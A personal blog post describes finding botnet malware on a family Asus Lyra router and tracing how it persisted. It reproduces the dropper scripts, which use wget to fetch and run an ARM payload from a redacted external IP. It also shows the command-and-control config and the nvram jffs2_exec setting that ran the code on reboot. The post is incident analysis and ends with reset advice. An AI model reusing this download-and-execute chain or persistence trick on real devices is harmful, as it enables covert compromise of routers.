We take the small things for granted in life.
Like, say breathing. Or, the security on our embedded network devices…

As our devices become more and more complicated and sophisticated, we use them in the hope that so are their security features become more advanced at the same time.
Sure, sometimes we’ll be okay, but other times, we are at risk of getting caught out by poor security defaults and lack of user education, which can cause a nightmare in the world of “Always on” and internet connected everything.

While staying with family in the middle of a word-wide pandemic (thanks Covid-19), I was messing around with their Asus Lyra I’d given them a while back.
Its a great, and powerful ARM + Linux based WiFi mesh system with plenty of features to explore, and its a power-users near perfect setup, while still being somewhat user friendly.

Bad Sign #1.

So, every once in a while, the main mesh node, I’ll say “router” here as its the node connected to the internet gateway, seemed to lock up and die. I’d seen this first hand, and considered if there was a hardware problem that could be unique to the main node. The lights are on, but there is no one home. All internet connectivity dies, and a reboot is required to get anything working again. All the other nodes in the mesh flash a red status light, indicating a mesh failure, yet the main node still shows a healthy-blue, yet it remains totally locked up and inaccessible via either LAN cable or WiFi of the other nodes.

All of the other Lyra deployments I have used before, of the exact same model, work perfectly and I’ve never really faced this kind of problem before. The system has the tenancy to “just work”.
Just before the death of the main node, things would seem slow and sluggish for internet users. Packet-loss would creep up, and if left long enough, the main node would die totally.
Once the main node would be rebooted, each other Lyra node needed a manual reboot too in order to rejoin the mesh (again, not something I’ve experienced on other Lyra systems I used previously).

During the “build up” in packet-loss before the node died, I did on occasion note a higher than expected memory usage if I checked the web interface, which I half-ass attributed to some of the extra features of the Lyra running in the background.

Bad Sign #2.

In this location, a Ring door-bell and camera system is deployed. Its a handy little WiFi connected camera system that allows you to check up who is knockin’.

Some time ago, we noticed when trying to use either the Ring app, or even the Ring website, you’d get a straight blocked message, or, the app would mention there was a network problem.
I had provided evidence to Ring Support that there was a problem on their side, and that they had been blocking our access to this fancy tech they’ve sold us at a premium.

Sadly, the first consultant was in way over his head. Then the second “escalation” consultant was arguably even worse, although they at least requested screenshots of the issue via email, which was ultimately ignored anyway.

After not being able to get anything productive out of them, being pushed agent to agent, we gave up trying, and I suggested my family ask their ISP for a new static-ip address.

The discovery!

Jump forward 100 or-so days of lock-down, I decided to try my hand at getting the Lyra to auto-reboot on a schedule. My plan was that if it rebooted often, perhaps it wouldn’t lock up on the odd occasion. I was spurred on by the fact that it runs Linux, and presents an SSH connection. You can do ANYTHING on Linux! Right?

Logging in and stumbling around, I noticed there was a very small /jffs partition with the only files that persist a reboot. This was mainly used for security signature versions, DHCP configs, boring stuff. However, there was a sub-directory called “Scripts”. Perfect!

Googling this device, I tried some user-script options that are included with the Asuswrt-Merlin packages, but thats a custom spin on the official Asus firmware, which doesn’t support the Lyra.

Any files I created within the /jffs/scripts/ directory didn’t do anything, and it seemed like that might be a dead end.

I decided to take a look into the only file I found by default in this directory, I noticed it had the full path “/jffs/scripts/openvpn-event”.
Checking the content, something didn’t seem right… This is a weird way for OpenVPN to do something. Plus, it isn’t even configured!

!/bin/sh
cd /tmp
cp /jffs/runtime.log upgrade.sh
sh upgrade.sh &

Looks innocent on the first look, but, why does a log file later become upgrade.sh…?
When checking /jffs/runtime.log, I start to worry:

!/bin/sh
rm $0
if [ ps|grep upgrade.sh|wc -l -gt 3 ]; then
exit
fi
sleep 120
cd /tmp
wget --no-check-certificate https://IP_FROM_INDONESIA/314/o2.sh -O /tmp/chkupdate.sh
sh /tmp/chkupdate.sh &

I’m no security expert, but having worked at a fair few shared hosting companies, I know when a Linux script looks a little dodgy. Since by now we’re getting super dodgy, I’m going deeper, /tmp/chkupdate.sh:

!/bin/sh
rm $0
cd /tmp
wget --no-check-certificate https://IP_FROM_INDONESIA/as/as.armv5te -O /tmp/update
wget --no-check-certificate https://IP_FROM_INDONESIA/314/.update5.log -O /tmp/.update.log
chmod 777 /tmp/update
/tmp/update &

/tmp/update is obsficated or compiled, so I can’t read it, but .update.log:

IP_FROM_INDONESIA
443
/314/check5.php
/tmp/stop.txt
43200
60
1

Well, hell. We’re hacked, folks!
I noticed the structure of this file looked a bit like another URL, so I built a web call out of this file so I can grab check5.php from the bot-command and control server, and I got this basic file, I guess they don’t want to attack anyone right now:

rm $0
sleep 10

Are we actively hacked though? Are these scripts running?
Checking the basic netstat output provided with the BusyBox shell, I don’t see any open ports I don’t know.

But, while checking the ps output of the system, I can see “update” is running, and continues to loop the file above. Without strace, its hard to tell what exactly is going on…
Great! But what gives, I cant find any signs of how the attacker even managed to run a custom script at all, let alone an elaborate bot! I was trying to do this very thing myself.

A little googling later, and I found an nvram option on the Lyra. Here is where important configs are saved and persisted on reboots. The one in interest was a previously unknown option to me, jffs2_scripts:

# nvram get jffs2_scripts
1

And here was where you set your custom script that will execute on a reboot:

# nvram show |grep script
size: 31964 bytes (29476 left)
jffs2_exec=sh /jffs/scripts/openvpn-event
script_usbhotplug=
script_usbmount=
jffs2_scripts=1
script_usbumount=

Got ya!

I notice the usb options here too, I had previously seen a dirty hack option to inject a script on reboot by making use of a USB port on the router, but that was far too disgusting to even consider. The idea of having to plug in a USB device on each reboot didn’t sound like a good idea.

So, how did this happen?

Its not clear! The logs don’t persist for very long, and are cycled on every reboot. Looking at the dates on the files, /jffs/scripts/openvpn-event had a create date of November 2019, which could be easily faked, but did like a logical possible date of entry for a hacker.
Sadly, no logs persisted long enough to get close to reveling the source of intrusion, but it might not be of much value anyway.

My current deduction is that sometime between now and November, likely on setup of the device, perhaps the default password was in use and the firewall was not toggled, allowing for an easy entry via the SSH service running on the device.

If this poor router had been used in DDOS attacks like a brainless zombie roaming the internet, its no wonder poor Ring had decided to take a break from talking to us for a while.

Update – 19/08/20
In-case it isn’t clear what to do in this kinda situation, do a factory reboot of your Asus Lyra if you believe it was hacked, or even go as far as downloading a re-flashing firmware from Asus directly. Having spent a few days trying to clean up the infection, I find more and more firewall rules blocking updates and other strange things. Just reset it! 🙂